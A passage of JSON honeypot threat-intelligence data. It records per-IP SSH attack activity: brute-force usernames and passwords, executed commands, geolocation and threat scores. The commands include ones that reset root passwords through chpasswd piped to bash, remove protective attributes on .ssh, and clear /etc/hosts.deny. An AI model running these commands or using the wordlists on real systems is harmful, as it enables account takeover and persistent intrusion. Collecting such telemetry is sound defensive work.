        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"qazwsx\\nYbKm37yv2lbL\\nYbKm37yv2lbL\\n\"|passwd",
        "echo \"root:PzvM1JukHttL\"|chpasswd|bash",
        "echo \"root:Y7IahTSqVQsf\"|chpasswd|bash",
        "echo \"testuserpass\\nqlKdDcTHtO9T\\nqlKdDcTHtO9T\\n\"|passwd",
        "echo -e \"qazwsx\\nYbKm37yv2lbL\\nYbKm37yv2lbL\"|passwd|bash",
        "echo -e \"testuserpass\\nqlKdDcTHtO9T\\nqlKdDcTHtO9T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 631,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:46:34.171000+00:00",
        "last_seen_30d": "2026-05-22T21:34:27.021000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 492,
        "Suricata": 139
      }
    },
    "43.163.107.154": {
      "attack_count": 414,
      "first_seen": "2026-05-15T05:48:34.698Z",
      "last_seen": "2026-05-15T06:41:14.687Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "systemd-sync",
        "...",
        "dbus-helper",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "1928",
        "2064",
        "Albert",
        "Kermit123@",
        "Lhx123456",
        "Password2014",
        "Qq123456",
        "a1d2m3i4n5",
        "argo",
        "bingo123",
        "colorado",
        "doabarrelroll",
        "eclipse",
        "hp@123",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "o0o0o0o0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"linux123\\naH1kZQK52mIH\\naH1kZQK52mIH\\n\"|passwd",
        "echo \"root:F9U46aa8HPGM\"|chpasswd|bash",
        "echo \"root:Xj6jTnpDkZLP\"|chpasswd|bash",
        "echo \"warnight\\nubZXsTJL2jb6\\nubZXsTJL2jb6\\n\"|passwd",
        "echo -e \"linux123\\naH1kZQK52mIH\\naH1kZQK52mIH\"|passwd|bash",
        "echo -e \"warnight\\nubZXsTJL2jb6\\nubZXsTJL2jb6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 495,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:48:34.698000+00:00",
        "last_seen_30d": "2026-05-15T06:42:24.721000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 81
      }
    },
    "171.231.183.54": {
      "attack_count": 377,
      "first_seen": "2026-05-11T23:50:54.736Z",
      "last_seen": "2026-05-12T00:28:15.603Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "developer",
        "test",
        "ubnt",
        "ace",
        "admian",
        "auto",
        "bin",
        "brenda",
        "cpanel",
        "demo",
        "ftp",
        "ftpuser",
        "geral",
        "guest",
        "installer",
        "joggler",
        "kim"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "12345",
        "admin123",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "123",
        "1234",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "ace",
        "admin01",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 534,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:50:54.736000+00:00",
        "last_seen_30d": "2026-05-12T00:29:21.686000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 157
      }
    },
    "109.123.235.116": {
      "attack_count": 362,
      "first_seen": "2026-05-02T18:23:58.281Z",
      "last_seen": "2026-05-02T18:52:16.259Z",
      "sessions": 181,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:23:58.281000+00:00",
        "last_seen_30d": "2026-05-02T18:53:17.414000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 186
      }
    },
    "49.89.235.119": {
      "attack_count": 360,
      "first_seen": "2026-05-19T18:14:38.676Z",
      "last_seen": "2026-05-20T18:13:59.168Z",
      "sessions": 180,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:14:38.676000+00:00",
        "last_seen_30d": "2026-05-20T18:15:04.855000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 188
      }
    },
    "202.51.214.98": {
      "attack_count": 343,
      "first_seen": "2026-05-10T23:02:22.691Z",
      "last_seen": "2026-05-28T01:02:51.049Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "devops",
        "ftpuser",
        "git",
        "gpadmin",
        "kali",
        "teamspeak",
        "test1",
        "test123",
        "ubuntu",
        "user1",
        "user100",
        "userftp",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz1qaz",
        "!QAZxsw23edc",
        "$RFVbgt5",
        "123321",
        "12345678",
        "135246",
        "1qaz2wsx_",
        "Changeme123",
        "Gxs123456",
        "Mihai1982",
        "Password",
        "Pl123456",
        "QAZ123!@#",
        "Qaz@2026",
        "Sd@123",
        "Test123",
        "Zxcvb123456",
        "a123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"debian\\ntQeJ2X7fdpKg\\ntQeJ2X7fdpKg\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nmkmdlka7Fo4l\\nmkmdlka7Fo4l\\n\"|passwd",
        "echo -e \"debian\\ntQeJ2X7fdpKg\\ntQeJ2X7fdpKg\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nmkmdlka7Fo4l\\nmkmdlka7Fo4l\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 10220,
      "as_org": "PT. Kreasi Sejahtera Teknologi",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:02:22.691000+00:00",
        "last_seen_30d": "2026-05-28T01:03:57.807000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 343,
        "Suricata": 100
      }
    },
    "182.243.189.87": {
      "attack_count": 274,
      "first_seen": "2026-05-22T20:59:28.653Z",
      "last_seen": "2026-05-23T07:50:20.276Z",
      "sessions": 137,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 417,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:59:28.653000+00:00",
        "last_seen_30d": "2026-05-23T07:51:29.981000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 274,
        "Suricata": 143
      }
    },
    "189.50.142.82": {
      "attack_count": 273,
      "first_seen": "2026-05-23T07:57:47.328Z",
      "last_seen": "2026-05-27T23:53:32.949Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "safeuser",
        "user",
        "admin",
        "api",
        "aroot",
        "cgpexpert",
        "jack",
        "odoo",
        "rock",
        "support",
        "tan",
        "usuario",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ3edc",
        "123",
        "1QAZ2WSX",
        "Aa123456#",
        "Fy123456",
        "P@ssw0rd",
        "QWE123asd",
        "Qwer1234",
        "Test123",
        "Zxc123123",
        "Zy123456789",
        "aA123456",
        "admin123123",
        "api",
        "aroot",
        "fjbdfdjkdsfs541544",
        "mt2013@HW",
        "odoo2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd\\n9tjgoJZuHg1w\\n9tjgoJZuHg1w\\n\"|passwd",
        "echo \"safeuser\\nSe6mOack8XJB\\nSe6mOack8XJB\\n\"|passwd",
        "echo -e \"P@ssw0rd\\n9tjgoJZuHg1w\\n9tjgoJZuHg1w\"|passwd|bash",
        "echo -e \"safeuser\\nSe6mOack8XJB\\nSe6mOack8XJB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Prudente",
      "asn": 28330,
      "as_org": "AS28330",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:57:47.328000+00:00",
        "last_seen_30d": "2026-05-27T23:54:42.737000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 82
      }
    },
    "176.124.220.119": {
      "attack_count": 241,
      "first_seen": "2026-05-13T17:10:47.855Z",
      "last_seen": "2026-05-13T17:54:16.053Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "794613",
        "Paul",
        "Tt123456",
        "Welcome!@",
        "a1b2c3d4",
        "admin01",
        "blue123",
        "bombbomb",
        "cc",
        "elliot",
        "k0nig~12345",
        "mdh",
        "navnath",
        "pussies",
        "radio",
        "rm123",
        "ts3server",
        "xys"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:o5daQodYD42m\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\ndCBfzQap7NcB\\ndCBfzQap7NcB\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\ndCBfzQap7NcB\\ndCBfzQap7NcB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 210644,
      "as_org": "Aeza Group LLC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:10:47.855000+00:00",
        "last_seen_30d": "2026-05-13T17:55:18.637000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 58
      }
    },
    "95.81.95.61": {
      "attack_count": 241,
      "first_seen": "2026-05-13T20:23:22.612Z",
      "last_seen": "2026-05-13T21:00:10.431Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123kid",
        "K0nig2025.",
        "MdnFtp_R2",
        "abcde12345",
        "amark",
        "children",
        "fibranne",
        "india",
        "k0nig$$$",
        "kappa",
        "ljj",
        "mike",
        "passw00rd",
        "phi1618",
        "rooty",
        "sadegh",
        "test1234",
        "tjones"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:eakJGZuNCppY\"|chpasswd|bash",
        "echo \"root:vQtnMralMKx6\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 200740,
      "as_org": "First Server Limited",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:23:22.612000+00:00",
        "last_seen_30d": "2026-05-13T21:01:13.142000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "103.189.235.176": {
      "attack_count": 219,
      "first_seen": "2026-05-11T09:41:56.243Z",
      "last_seen": "2026-05-11T10:46:17.688Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "oracle",
        "root",
        "345gs5662d34",
        "admin123",
        "es",
        "frpuser",
        "ftpuser",
        "git",
        "gpadmin",
        "guest",
        "minecraft",
        "nancy",
        "postgres",
        "sftpuser",
        "shareuser",
        "testing",
        "user01",
        "user10"
      ],
      "passwords_attempted": [
        "123456",
        "111#",
        "1111111111",
        "1234",
        "12345678",
        "123456789",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "7654321",
        "a",
        "admin",
        "admin1234",
        "admin143",
        "admincc",
        "asd123",
        "es123",
        "frpuser",
        "ftpuser11"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"oswald\\ner5d5QbGgCMv\\ner5d5QbGgCMv\\n\"|passwd",
        "echo -e \"oswald\\ner5d5QbGgCMv\\ner5d5QbGgCMv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:41:56.243000+00:00",
        "last_seen_30d": "2026-05-11T10:47:25.857000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "119.203.251.187": {
      "attack_count": 219,
      "first_seen": "2026-05-10T07:53:48.383Z",
      "last_seen": "2026-05-10T08:24:03.583Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpuser",
        "root",
        "test",
        "345gs5662d34",
        "administrador",
        "azureuser",
        "developer",
        "frappe",
        "git",
        "gpadmin",
        "guest",
        "hadoop",
        "hadoop1",
        "imapuser",
        "nobody",
        "support",
        "ts3server",
        "userftp"
      ],
      "passwords_attempted": [
        "123456",
        "Password123",
        "!QAZ2wsx#EDC4rfv",
        "1111",
        "123",
        "1234567",
        "2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "I2KPwdI5",
        "P@ssw0rd123",
        "UBUNTU2022",
        "a",
        "abc123!@#",
        "admin123",
        "admin@789",
        "bitnami",
        "developer2021",
        "frappe123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"!QAZ2wsx#EDC4rfv\\naS4DpiGJZgWg\\naS4DpiGJZgWg\\n\"|passwd",
        "echo -e \"!QAZ2wsx#EDC4rfv\\naS4DpiGJZgWg\\naS4DpiGJZgWg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:53:48.383000+00:00",
        "last_seen_30d": "2026-05-10T08:25:06.966000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "148.135.70.18": {
      "attack_count": 192,
      "first_seen": "2026-05-04T19:41:08.235Z",
      "last_seen": "2026-05-21T10:39:17.525Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:41:08.235000+00:00",
        "last_seen_30d": "2026-05-21T10:40:20.463000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 96
      }
    },
    "132.226.74.220": {
      "attack_count": 177,
      "first_seen": "2026-05-17T08:56:09.145Z",
      "last_seen": "2026-05-17T11:30:51.331Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "appuser",
        "developer",
        "dolphinscheduler",
        "ducc0x",
        "es",
        "esroot",
        "ftp",
        "g",
        "gary",
        "linux",
        "mysql",
        "odoo14",
        "server",
        "steam",
        "ubnt",
        "user2",
        "vagrant",
        "www"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "123@@@",
        "Aa123321",
        "Ab123456",
        "Abc123456",
        "Admin@123",
        "Qq123456",
        "appuser",
        "dolphinscheduler",
        "es123456",
        "esroot",
        "ftp",
        "g",
        "gary",
        "linux",
        "mysql@1234",
        "odoo14",
        "p@ssw0rd"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
